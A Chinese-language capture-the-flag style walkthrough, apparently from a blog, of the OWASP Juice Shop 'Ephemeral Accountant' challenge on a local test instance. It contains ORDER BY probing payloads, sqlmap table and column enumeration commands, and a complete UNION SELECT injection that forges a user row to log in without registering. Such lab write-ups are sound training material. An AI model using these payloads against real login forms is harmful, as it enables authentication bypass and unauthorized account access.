【juice-shop】★★★★ Ephemeral Accountant:通过 SQL 注入凭空创建临时用户

通过 SQL 盲注和 UNION 查询,在登录请求中动态创建临时用户 acc0unt4nt@juice-sh.op,无需注册即可登录,利用数据库临时性实现一次性账户。

【juice-shop】★★★★ Ephemeral Accountant:通过 SQL 注入凭空创建临时用户

0x01 任务简报

🎯 挑战目标
在没有注册的情况下使用(不存在的)账号 acc0unt4nt@juice-sh.op 登录。
💡 官方提示 (Hints)
1. 尝试"凭空创建"所需的用户。
2. 用户必须具有短暂性,即"仅持续很短时间"。
3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。
4. 通过其他方式将用户导入数据库也无法解决此验证问题。
5. 该挑战属于注入类别的这一事实,本身就已揭示了其预期的解决思路。

0x02 前置知识

临时用户的概念

Ephemeral(短暂的) 意味着用户只在当前请求中存在,不会被持久化到数据库。

实现方式:

1
2
3
4
-- 不是 INSERT,而是在查询时动态构造用户数据
SELECT * FROM users
UNION
SELECT 15, '', 'acc0unt4nt@juice-sh.op', '12345', 'accounting', ...

SQLite 的 UNION 注入

SQLite 支持 UNION 查询,允许攻击者在查询结果中注入虚假数据。

关键特性:

  • 列数必须匹配
  • 数据类型必须兼容
  • 可以使用子查询动态构造数据

0x03 实战:复现漏洞

步骤1:抓取登录请求

使用 Burp Suite 或浏览器开发者工具抓取登录请求:

1
2
3
4
5
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"test@test.com","password":"password"}

登录请求

步骤2:探测 SQL 注入点

在 email 字段中注入 SQL 代码,使用 ORDER BY 来确定列数:

Payload 1:测试 13 列

1
' order by 13 --+

结果: 返回正常响应 ✅

ORDER BY 13

Payload 2:测试 14 列

1
' order by 14 --+

结果: 返回错误响应 ❌

ORDER BY 14

结论: 数据库表有 13 列

步骤3:使用 SQLMap 进行自动化注入

第一步:保存请求到文件

创建 request.txt 文件,内容为登录请求:

1
2
3
4
5
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"*","password":"1"}

保存请求

第二步:列出所有表

1
sqlmap -r request.txt -p email --tables --batch --ignore-code=401

结果:

表列表

第三步:列出 Users 表的列

1
sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401

结果:

Users 表列

步骤4:构造 UNION 注入 Payload

使用 UNION SELECT 动态创建临时用户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
' UNION SELECT * FROM (
  SELECT 
    15 as 'id', 
    '' as 'username', 
    'acc0unt4nt@juice-sh.op' as 'email', 
    '12345' as 'password', 
    'accounting' as 'role', 
    '123' as 'deluxeToken', 
    '1.2.3.4' as 'lastLoginIp', 
    '/assets/public/images/uploads/default.svg' as 'profileImage', 
    '' as 'totpSecret', 
    1 as 'isActive', 
    '1999-08-16 14:14:41.644 +00:00' as 'createdAt', 
    '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
    null as 'deletedAt'
)--

Payload 说明:

  • UNION SELECT - 将虚假数据与真实查询结果合并
  • SELECT ... FROM (...) - 子查询动态构造用户数据
  • 所有 13 列都必须指定
  • 数据类型和顺序必须匹配

构造 Payload

步骤5:使用 Payload 登录

在登录表单中输入 Payload 作为邮箱:

1
2
邮箱: ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
密码: 12345

登录成功! 🎉

参考

使用 Hugo 构建
主题 StackJimmy 设计